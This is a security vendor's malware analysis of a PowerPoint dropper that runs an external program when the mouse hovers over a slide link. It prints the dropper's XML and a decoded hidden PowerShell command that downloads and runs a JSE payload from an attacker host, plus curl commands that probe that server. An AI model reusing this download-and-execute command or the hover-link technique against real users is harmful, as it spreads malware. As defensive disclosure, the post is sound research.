“Zusy” PowerPoint Malware Spreads Without Needing Macros

By Caleb Fenton and Itai Liba, Senior Security Researchers, SentinelOne Labs

A new variant of a malware called “Zusy” has been found in the wild spreading as a PowerPoint file attached to spam emails with titles like “Purchase Order #130527” and “Confirmation”. It’s interesting because it doesn’t require the user to enable macros to execute. Most Office malware relies on users activating macros to download some executable payload which does most of the malicious stuff, but this malware uses the external program feature instead.

SentinelOne detects this threat and our users are protected.

Sample Details

Sample SHA256es:

  • PowerPoint dropper: 796a386b43f12b99568f55166e339fcf43a4792d292bdd05dafa97ee32518921.
  • First-stage JSE payload: 55821b2be825629d6674884d93006440d131f77bed216d36ea20e4930a280302
  • Second-stage EXE payload 55c69d2b82addd7a0cd3bebe910cd42b7343bd3faa7593356bcdca13dd73a0ef

Dropper Operation

When the malicious PowerPoint file is opened, it shows a screen with a single link that says “Loading…Please wait”:

Hovering over the URL is when all the “magic” happens: it causes PowerPoint to execute an external program. In this case, it’s powershell plus a small script which downloads an additional payload.

However, the code doesn’t execute automatically as soon as the file is opened. Instead, both Office 2013 and Office 2010 display a severe warning by default:

whats the worst thing that can happen
Security warning

Users might still somehow enable external programs because they’re lazy, in a hurry, or they’re only used to blocking macros. Also, some configurations may possibly be more permissive in executing external programs than they are with macros.

The PowerPoint viewer doesn’t seem to be vulnerable at all because it refuses to execute the program:

you shall not pass
Do not pass go, do not collect 200$

The code for the mouse over link is in ppt/slides/slide1.xml:

<a:hlinkMouseOver r:id="rId2" action="ppaction://program"/>

The rId2 definition is in ppt/slides/_rels/slide1.xml.rels:

<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadFile(%27http%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27cccn.nl%27%2B%5Bchar%5D%200x2F%2B%27c.php%27%2C%5C%22%24env%3Atemp%5Cii.jse%5C%22)%3B%20Invoke-Item%20%5C%22%24env%3Atemp%5Cii.jse%5C%22%22" TargetMode="External"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>

The key bits are action="ppaction://program", TargetMode="External" and, of course, the Target value, which is the shell command to execute. There’s a bit of related documentation of the PPT format here: http://python-pptx.readthedocs.io/en/latest/dev/analysis/shp-hyperlink.html#run-a-program

The Target value is url-encoded and can be cleaned up with urllib.unquote() to get this:

powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""

[char] 0x2F is kind of weird and probably parsed by PowerPoint. The final, working version is below, with http changed to hxxp to avoid actually linking to a malicious URL:

powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('hxxp://cccn.nl/c.php','$env:temp\ii.jse'); Invoke-Item '$env:temp\ii.jse'"

This downloads whatever is at c.php and stores it in a file named ii.jse.

The C&C is smart enough to check the user-agent. If the user-agent isn’t what it expects, you’re redirected to Google.

$ curl -I http://cccn.nl/c.php
HTTP/1.1 302 Found
Date: Thu, 01 Jun 2017 17:38:23 GMT
Server: Apache/2
Location: http://google.com
Vary: User-Agent
Content-Type: text/html
X-Cache: MISS from apollo
Via: 1.1 apollo (squid/4.0.19)
Connection: keep-alive

By default, System.Net.WebClient has no user-agent. By simulating this in curl, we get redirected to /2.2 which eventually sends us the payload.

$ curl -I -A "" http://cccn.nl/c.php
HTTP/1.1 302 Found
Date: Thu, 01 Jun 2017 17:40:30 GMT
Server: Apache/2
Location: http://cccn.nl/2.2
Vary: User-Agent
Content-Type: text/html
X-Cache: MISS from apollo
Via: 1.1 apollo (squid/4.0.19)
Connection: keep-alive

We confirmed the malware doesn’t have a user-agent by looking at its network traffic:

i used wireshark back when it was called ethereal, before it was mainstream
Zusy network traffic capture

The WHOIS info for the domain doesn’t contain any personal information on who registered it. Also, many other domains associated with that IP, so it’s probably shared hosting.

JSE Payload Information

Running file on the payload returns an unhelpful data result. However, it’s executable with Invoke-Item which means Windows has to have a file handler for it and it’s saved with a .jse extension. This indicates it’s a JScript Encoded File which is executed by WScript.

Debugging WScript is a pain, so we found a JSE decompiler here: https://gist.github.com/bcse/1834878. It’s pure C code and even compiles on a Mac! Nice. This decompiled the payload, but the JavaScript was completely obfuscated and impossible to read.

There’s a surprising lack of general purpose JavaScript deobfuscators. Trying with JSDetox in a ready-to-use docker image helped a little, but not enough to make it clear what the JSE payload does.

By running the original dropper sample in a virtual machine, we see the JSE payload eventually downloads an EXE payload. We’re still investigating this. If it’s interesting, we’ll write about it in a follow-up post.